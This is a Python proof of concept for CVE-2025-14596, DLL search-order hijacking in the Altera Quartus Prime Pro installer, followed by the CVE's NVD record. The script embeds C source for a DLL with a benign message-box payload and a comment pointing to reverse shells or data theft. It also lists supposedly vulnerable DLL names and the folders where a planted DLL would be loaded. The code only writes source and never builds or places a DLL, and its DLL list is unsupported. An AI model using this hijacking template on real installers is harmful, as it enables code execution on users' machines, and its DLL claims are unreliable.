CVE-2025-14596

# CVE-2025-14596 PoC - DLL Search Order Hijacking # Target: Altera Quartus Prime Pro Installer (SFX) on Windows # Affected Versions: 24.1 through 24.3.1 import os import ctypes from ctypes import wintypes import time # Malicious DLL that will be loaded by Quartus Prime Installer MALICIOUS_DLL_CODE = ''' #include <windows.h> BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved) { if (fdwReason == DLL_PROCESS_ATTACH) { // Execute malicious payload here // Example: Create reverse shell, exfiltrate data, etc. MessageBox(NULL, "Quartus Installer DLL Hijacked!", "CVE-2025-14596", MB_OK); // Write to log file for demonstration FILE *fp = fopen("C:\\\\Temp\\\\quartus_hijack_log.txt", "a"); if (fp) { fprintf(fp, "[+] DLL hijacked at: %s\\n", __TIMESTAMP__); fclose(fp); } } return TRUE; } ''' def create_malicious_dll(dll_path): """Generate malicious DLL source code""" with open(os.path.join(os.path.dirname(dll_path), 'malicious_dll.c'), 'w') as f: f.write(MALICIOUS_DLL_CODE) print(f"[*] Malicious DLL source written to: {dll_path}") def check_dll_search_order(): """Check DLL search order for Quartus installer""" print("[*] Analyzing DLL search order for Quartus Prime...") print("[*] Known vulnerable DLLs in Quartus installer:") vulnerable_dlls = [ "msvcr120.dll", "msvcp120.dll", "Qt5Core.dll", "Qt5Gui.dll" ] for dll in vulnerable_dlls: print(f" - {dll}") def exploit(): """Demonstrate the search order hijacking attack""" print("="*60) print("CVE-2025-14596 - DLL Search Order Hijacking PoC") print("="*60) # Step 1: Identify target DLLs check_dll_search_order() # Step 2: Create malicious DLL dll_path = "C:\\Program Files\\IntelSWTools\\QuartusPrimePro\\malicious.dll" create_malicious_dll(dll_path) # Step 3: Attack requires placing DLL in search path print("\n[!] Attack requires placing malicious DLL in:") print(" - Application directory") print(" - Current working directory") print(" - System32/SysWOW64 (if no safe DLL search mode)") print(" - PATH directories") print("\n[*] PoC demonstrates vulnerability concept only") print("[*] Actual exploitation requires local access and user interaction") if __name__ == "__main__": exploit()

{"cve": {"id": "CVE-2025-14596", "sourceIdentifier": "04c0172e-9735-4a9d-a92a-fe01fa863447", "published": "2026-01-07T02:02:59.543", "lastModified": "2026-01-12T15:16:51.687", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Uncontrolled Search Path Element vulnerability in Altera Quartus Prime Pro \n\nInstaller (SFX) \n\non Windows allows Search Order Hijacking.This issue affects Quartus Prime Pro: from 24.1 through 24.3.1."}, {"lang": "es", "value": "Vulnerabilidad de Elemento de Ruta de Búsqueda No Controlado en Altera Quartus Prime Pro Instalador (SFX) en Windows permite el secuestro del orden de búsqueda. Este problema afecta a Quartus Prime Pro: desde 24.1 hasta 24.3.1."}], "metrics": {"cvssMetricV40": [{"source": "04c0172e-9735-4a9d-a92a-fe01fa863447", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:H/AT:P/PR:L/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "HIGH", "attackRequirements": "PRESENT", "privilegesRequired": "LOW", "userInteraction": "ACTIVE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "04c0172e-9735-4a9d-a92a-fe01fa863447", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:U/C:H/I:H/A:H", "baseScore": 6.7, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 0.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "04c0172e-9735-4a9d-a92a-fe01fa863447", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-427"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:intel:quartus_prime:*:*:*:*:pro:*:*:*", "versionStartIncluding": "24.1", "versionEndExcluding": "25.1", "matchCriteriaId": "2152FDDC-25D4-47E3-A0F3-7CF7776AEFD6"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:*", "matchCriteriaId": "A2572D17-1DE6-457B-99CC-64AFD54487EA"}]}]}], "references": [{"url": "https://www.altera.com/security/security-advisory/asa-0004", "source": "04c0172e-9735-4a9d-a92a-fe01fa863447", "tags": ["Vendor Advisory"]}]}}